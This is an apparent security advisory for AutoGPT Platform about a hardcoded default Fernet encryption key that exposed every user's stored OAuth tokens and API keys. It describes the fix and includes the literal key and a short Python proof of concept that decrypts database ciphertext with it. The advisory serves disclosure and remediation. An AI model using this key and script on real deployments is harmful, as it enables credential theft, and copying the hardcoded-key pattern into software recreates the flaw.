# GHSA-57MF-WQWQ-6G6X: Hardcoded Default Fernet Encryption Key Exposes All Stored OAuth Credentials

- Database: GitHub
- Severity: CVSS 8.2 (High)
- Published: 2026-10-05
- Modified: 2026-11-19

## Tracked as

- [CVE-2026-132257](https://cve.now/CVE-2026-132257.md): AutoGPT credential decryption via hardcoded encryption key

## Description

AutoGPT Platform shipped with a hardcoded default Fernet encryption key (`ENCRYPTION_KEY=dvziYgz0KSK8FENhju0ZYi8-fRTfAdlz6YLhdB_jhNw=`) committed to the public repository in `backend/.env.default`. That key encrypts every user's OAuth tokens, API keys and integration credentials in the `User.integrations` column, so anyone with read access to the database of a deployment using it could decrypt the whole credential store. Upgrade to v0.8.0 or later and rotate the key if the default was ever used.

### Impact

On a self-hosted deployment that used the default key, an attacker who obtained the database contents, for example through a backup leak, could decrypt every user's OAuth access and refresh tokens and act as them on every connected service, and extract their LLM provider API keys. The default was also what a deployment ran when setup was followed, because Compose always loaded `backend/.env.default` as its base.

### Fix

**Fixed in [AutoGPT Platform v0.8.0](https://github.com/Significant-Gravitas/AutoGPT/releases/tag/autogpt-platform-beta-v0.8.0).**

`ENCRYPTION_KEY` now ships blank and the backend refuses to start with the retired default, and a key-rotation command re-encrypts stored credentials under a new key.

Fix: [#14518](https://github.com/Significant-Gravitas/AutoGPT/pull/14518).

Fix evidence: [8da6c931be8b](https://github.com/Significant-Gravitas/AutoGPT/commit/8da6c931be8b845bf2a51bc0a45cdfc718a08fc0).

Upgrade to v0.8.0 or later. Version numbers in this advisory identify Platform releases, whose Git tags are `autogpt-platform-beta-v<VERSION>`, rather than the backend Python package version.

### Workarounds

None.

---

### Details

`autogpt_platform/backend/backend/util/encryption.py`:

```python
ENCRYPTION_KEY = Settings().secrets.encryption_key

class JSONCryptor:
    def __init__(self, key: Optional[str] = None):
        self.key = key or ENCRYPTION_KEY
        self.fernet = Fernet(
            self.key.encode() if isinstance(self.key, str) else self.key
        )
```

`autogpt_platform/backend/backend/data/user.py`:

```python
async def update_user_integrations(user_id: str, data: UserIntegrations):
    encrypted_data = JSONCryptor().encrypt(data.model_dump(exclude_none=True))
    await PrismaUser.prisma().update(
        where={"id": user_id},
        data={"integrations": encrypted_data},
    )
```

`backend/.env.default` shipped:
```
ENCRYPTION_KEY=dvziYgz0KSK8FENhju0ZYi8-fRTfAdlz6YLhdB_jhNw=
```

This was a valid Fernet key committed to the public repository, so any deployment using it stored all user credentials encrypted with a key any attacker already knew. This is supported platform code.

The same key was also the Redis cache's HMAC key fallback ([GHSA-rfg2-37xq-w4m9](https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-rfg2-37xq-w4m9)).

The report was made against `94ebce7f633f`.

Two facts, verified against `dev` at `c91105ff36`, made remediation harder. First, there was no way to rotate off the key: `encryption.py:8` bound `ENCRYPTION_KEY` to a module-level constant, `scoped_credentials.py:20` built one process-wide `JSONCryptor()` from it, `IntegrationCredential` carried no key-version column, and changing the key made existing ciphertext undecryptable, which `JSONCryptor.decrypt` swallowed by returning `{}`; the rotation command added in [#14712](https://github.com/Significant-Gravitas/AutoGPT/pull/14712) closes that. Second, the public key was what a deployment ran even when setup was followed: `docker-compose.platform.yml:42-46` always loaded `backend/.env.default` as the base env file, with `backend/.env` only an optional override, and `autogpt_platform/.env.default`, the file the setup documentation had operators copy, defined no `ENCRYPTION_KEY`.

The single-container Docker image, published from v0.7.1, generates its own `ENCRYPTION_KEY` for each install, so it is not listed as affected.

### Proof of concept

```python
from cryptography.fernet import Fernet
import json

KNOWN_KEY = "dvziYgz0KSK8FENhju0ZYi8-fRTfAdlz6YLhdB_jhNw="
fernet = Fernet(KNOWN_KEY.encode())

# ciphertext obtained from User.integrations database column
ciphertext = "<base64_fernet_token_from_db>"
plaintext = fernet.decrypt(ciphertext.encode())
credentials = json.loads(plaintext)
# → { "oauth_tokens": { "github": { "access_token": "gho_..." }, ... }, "api_keys": { "openai": "sk-..." } }
```
Full reproduction: `python3 poc_ts_ag3_002.py --demo` [reproduce.zip](https://github.com/user-attachments/files/27853509/reproduce.zip)

### References

- Fix commit `8da6c931be` ([#14518](https://github.com/Significant-Gravitas/AutoGPT/pull/14518), in v0.8.0)
- Key rotation: `ef3c9c6967` ([#14712](https://github.com/Significant-Gravitas/AutoGPT/pull/14712))

### Timeline

Reported 2026-05-16 · Triaged 2026-09-07 · Fixed 2026-09-17 · Published 2026-10-05.

### Credit

Sunwoo Lee, Korea Institute of Energy Technology (KENTECH)
Daeyoung Kang, Korea Institute of Energy Technology (KENTECH)
Haeryong Park, Korea Internet & Security Agency (KISA)
Hyuk Lim, Korea Institute of Energy Technology (KENTECH)
Seunghyun Yoon, Korea Institute of Energy Technology (KENTECH)

## References

- https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-57mf-wqwq-6g6x

Page: https://cve.now/GHSA-57MF-WQWQ-6G6X

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
